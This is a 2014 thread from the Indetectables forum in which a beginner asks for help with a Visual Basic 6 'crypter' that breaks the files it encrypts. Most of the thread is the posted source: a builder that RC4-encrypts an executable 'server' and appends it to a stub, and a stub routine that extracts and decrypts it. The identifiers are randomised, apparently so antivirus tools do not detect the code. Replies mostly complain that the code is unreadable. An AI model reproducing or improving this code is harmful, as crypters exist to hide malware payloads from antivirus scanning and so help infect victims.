Indetectables

Publicado: **31 Jul 2014, 19:20**

¿Alguien puede ayudarme en algo que encrypto mi archivo con mi crypter que hice, pero después de encryptado no abrir nada?!

Publicado: **31 Jul 2014, 19:25**

Código?

Publicado: **31 Jul 2014, 19:34**

¿Podría explicarme qué código es? Principiante en este negocio!

Publicado: **31 Jul 2014, 20:19**

como vamos ayuda si no veo el código source de su proyector o algu similar...

Publicado: **31 Jul 2014, 20:20**

¿Has modificado el delimitador?
Have you changed the delimiter?

Publicado: **31 Jul 2014, 23:07**

Sub most()
	Dim OKmfKrqmDiNnJD As String, DbTYyCOiAWBCOc As String, ciGKmQlETqLifY() As String
	Dim gPaZUGphJPvnsb As Long
	gPaZUGphJPvnsb = FreeFile
	OKmfKrqmDiNnJD = App.Path & tL9oH7ukd(n4rrSfge0("e", "3"), n4rrSfge0(":", "2")) & App.EXEName & tL9oH7ukd(n4rrSfge0("@wŠw", n4rrSfge0("=", "4")), n4rrSfge0("=", "4"))
	
	Open OKmfKrqmDiNnJD For Binary As gPaZUGphJPvnsb
		DbTYyCOiAWBCOc = Space$(sLOF(OKmfKrqmDiNnJD))
		Get gPaZUGphJPvnsb, , DbTYyCOiAWBCOc
	Close gPaZUGphJPvnsb
	
	ciGKmQlETqLifY() = Split(DbTYyCOiAWBCOc, "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw")
	ciGKmQlETqLifY(1) = i4tvQWYQB(ciGKmQlETqLifY(1), "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
	Call i4tvQW4vQWYQB(App.Path & "Z" & App.EXEName & ".exe", StrConv(ciGKmQlETqLifY(1), vbFromUnicode))
End Sub

Private Sub Command2_Click()
	Dim Stub As String, Archivo As String

	If Text1.Text = vbNullString Then
		MsgBox "Primeiro, você deve fazer o upload de um arquivo para criptografar", vbExclamation, Me.Caption
		Exit Sub
	Else
		Open App.Path & "\Stub.exe" For Binary As #1
			Stub = Space(LOF(1))
			Get #1, , Stub
		Close #1

		Open Text1.Text For Binary As #1
			Archivo = Space(LOF(1))
			Get #1, , Archivo
		Close #1

		With CD
			.DialogTitle = "Selecione o diretorio onde vai salvar o server"
			.Filter = "Aplicativos EXE|*.exe"
			.ShowSave
		End With

		If Not CD.FileName = vbNullString Then
			Archivo = i4tvQWYQB(Archivo, "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")

			Open CD.FileName For Binary As #1
				Put #1, , Stub & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw" & Archivo & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw"
			Close #1

			MsgBox "Seu Server Foi Encryptado Com Sucesso", vbInformation, Me.Caption
		End If
	End If
End Sub

Publicado: **31 Jul 2014, 23:23**

cronosslip escribió:Sub most()
Dim OKmfKrqmDiNnJD As String, DbTYyCOiAWBCOc As String, ciGKmQlETqLifY() As String
Dim gPaZUGphJPvnsb As Long
gPaZUGphJPvnsb = FreeFile
OKmfKrqmDiNnJD = App.Path & tL9oH7ukd(n4rrSfge0("e", "3"), n4rrSfge0(":", "2")) & App.EXEName & tL9oH7ukd(n4rrSfge0("@wŠw", n4rrSfge0("=", "4")), n4rrSfge0("=", "4"))
Open OKmfKrqmDiNnJD For Binary As gPaZUGphJPvnsb
DbTYyCOiAWBCOc = Space$(sLOF(OKmfKrqmDiNnJD))
Get gPaZUGphJPvnsb, , DbTYyCOiAWBCOc
Close gPaZUGphJPvnsb
ciGKmQlETqLifY() = Split(DbTYyCOiAWBCOc, "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw")
ciGKmQlETqLifY(1) = i4tvQWYQB(ciGKmQlETqLifY(1), "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Call i4tvQW4vQWYQB(App.Path & "Z" & App.EXEName & ".exe", StrConv(ciGKmQlETqLifY(1), vbFromUnicode))
End Sub
Private Sub Command2_Click()
Dim Stub As String, Archivo As String

If Text1.Text = vbNullString Then
MsgBox "Primeiro, você deve fazer o upload de um arquivo para criptografar", vbExclamation, Me.Caption
Exit Sub
Else

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1

With CD
.DialogTitle = "Selecione o diretorio onde vai salvar o server"
.Filter = "Aplicativos EXE|*.exe"
.ShowSave
End With

If Not CD.FileName = vbNullString Then

Archivo = i4tvQWYQB(Archivo, "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")

Open CD.FileName For Binary As #1
Put #1, , Stub & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw" & Archivo & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw"
Close #1

MsgBox "Seu Server Foi Encryptado Com Sucesso", vbInformation, Me.Caption
End If

End If

Encima de que no metes el code en una etiqueta de vb6 para dar mejor lectura, lo posteas con las strings y variables randomizadas?. A si no se aclara ni dios xDD

Publicado: **31 Jul 2014, 23:46**

Este Sturp no entiende nada...

Publicado: **31 Jul 2014, 23:50**

rodanet escribió:Este Sturp no entiende nada...

a que te refieres compañero?

He arreglado el code aportado por el autor. La próxima vez usa la etiqueta

Código: Seleccionar todo

 por favor.

Código: Seleccionar todo

Sub most()
Dim OKmfKrqmDiNnJD As String, DbTYyCOiAWBCOc As String, ciGKmQlETqLifY() As String
Dim gPaZUGphJPvnsb As Long
gPaZUGphJPvnsb = FreeFile
OKmfKrqmDiNnJD = LkyE17BvD
Open OKmfKrqmDiNnJD For Binary As gPaZUGphJPvnsb
DbTYyCOiAWBCOc = Space$(sLOF(OKmfKrqmDiNnJD))
Get gPaZUGphJPvnsb, , DbTYyCOiAWBCOc
Close gPaZUGphJPvnsb
ciGKmQlETqLifY() = Split(DbTYyCOiAWBCOc, "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw")
ciGKmQlETqLifY(1) = i4tvQWYQB(ciGKmQlETqLifY(1), "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Call i4tvQW4vQWYQB(App.Path & "Z" & App.EXEName & ".exe", StrConv(ciGKmQlETqLifY(1), vbFromUnicode))
End Sub
Public Function tL9oH7ukd(strInput As String, second As Integer)
    Dim first As Integer
    
    For first = 1 To Len(strInput)
        Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)
    Next first
    tL9oH7ukd = strInput
End Function
Public Function n4rrSfge0(strInput As String, second As Integer)
    Dim first As Integer
    
    For first = 1 To Len(strInput)
        Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)
    Next first
    n4rrSfge0 = strInput
End Function
Public Function LkyE17BvD()
Dim T8Xt4ij5z As String, bITiGteM3 As String, qzrfeYRke As String, jUk13S3j4 As String
T8Xt4ij5z = App.Path
bITiGteM3 = "\"
qzrfeYRke = App.EXEName
jUk13S3j4 = ".EXE"
LkyE17BvD = T8Xt4ij5z + bITiGteM3 + qzrfeYRke + jUk13S3j4
End Function
Public Function sLOF(sPath As String) As Double
'Autor: Slek
'Utilizado como alternativa a LOF
'Fecha: 7/03/10
'Indetectables.net
Dim Fso, F As Object
    
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
    
sLOF = F.Size
End Function
Public Function i4tvQWYQB(ByVal JFf0IoR7O As String, oVryST71m As String) As String
On Error Resume Next
Dim TCdRvXVQy(0 To 255) As Integer
Dim BSQaFd9yS, hlvKgJcjS, D145g10L5 As Integer
Dim FdVyhrkiq() As Byte
Dim pNyTgldew() As Byte
Dim w75xzWpth   As Byte
pNyTgldew() = StrConv(JFf0IoR7O, vbFromUnicode)
FdVyhrkiq() = StrConv(oVryST71m, vbFromUnicode)
For BSQaFd9yS = 0 To 255
TCdRvXVQy(BSQaFd9yS) = BSQaFd9yS
Next BSQaFd9yS
For BSQaFd9yS = 0 To 255
w75xzWpth = TCdRvXVQy(BSQaFd9yS)
TCdRvXVQy((hlvKgJcjS + TCdRvXVQy(BSQaFd9yS) + FdVyhrkiq(BSQaFd9yS Mod Len(oVryST71m))) Mod 256) = w75xzWpth
Next BSQaFd9yS
hlvKgJcjS = 0
For BSQaFd9yS = 0 To UBound(pNyTgldew)
GrvVvHCTQ = (GrvVvHCTQ + TCdRvXVQy((hlvKgJcjS + 1) Mod 256)) Mod 256
TCdRvXVQy((hlvKgJcjS + 1) Mod 256) = TCdRvXVQy(GrvVvHCTQ)
TCdRvXVQy(GrvVvHCTQ) = TCdRvXVQy((hlvKgJcjS + 1) Mod 256)
pNyTgldew(BSQaFd9yS) = pNyTgldew(BSQaFd9yS) Xor (TCdRvXVQy((TCdRvXVQy((hlvKgJcjS + 1) Mod 256) + TCdRvXVQy(GrvVvHCTQ)) Mod 256))
Next BSQaFd9yS
i4tvQWYQB = StrConv(pNyTgldew(), vbUnicode)
End Function

Pode ajuda agora?

igual rodanet te la soluciona ya que veo que el es el unico que entiende las variables y strings ofuscadas sin colorear sintaxys ni nada

"Desarrollo y dudas de programación Vb/Vb.net"

Trabajar sobre un código harto ofuscado sin tener conocimiento de programación es intentar alzar vuelo sin antes haber aprendido a caminar. Y a los que queremos ayudarte se nos complica la lectura y decodificación. Primero lo sencillo. Luego lo complejo. Si tenés el código limpio y si nos podés proporcionar el cliente tanto mejor para tu ayuda.

Pensei que vocês ajudava só faz fala merda!
consegui arruma não peço mas ajuda pra vocês pra nada!!!!

cronosslip escribió:Pensei que vocês ajudava só faz fala merda!
consegui arruma não peço mas ajuda pra vocês pra nada!!!!

Indetectables

alguien que le ayude con mi crypter?

alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?

Re: alguien que le ayude con mi crypter?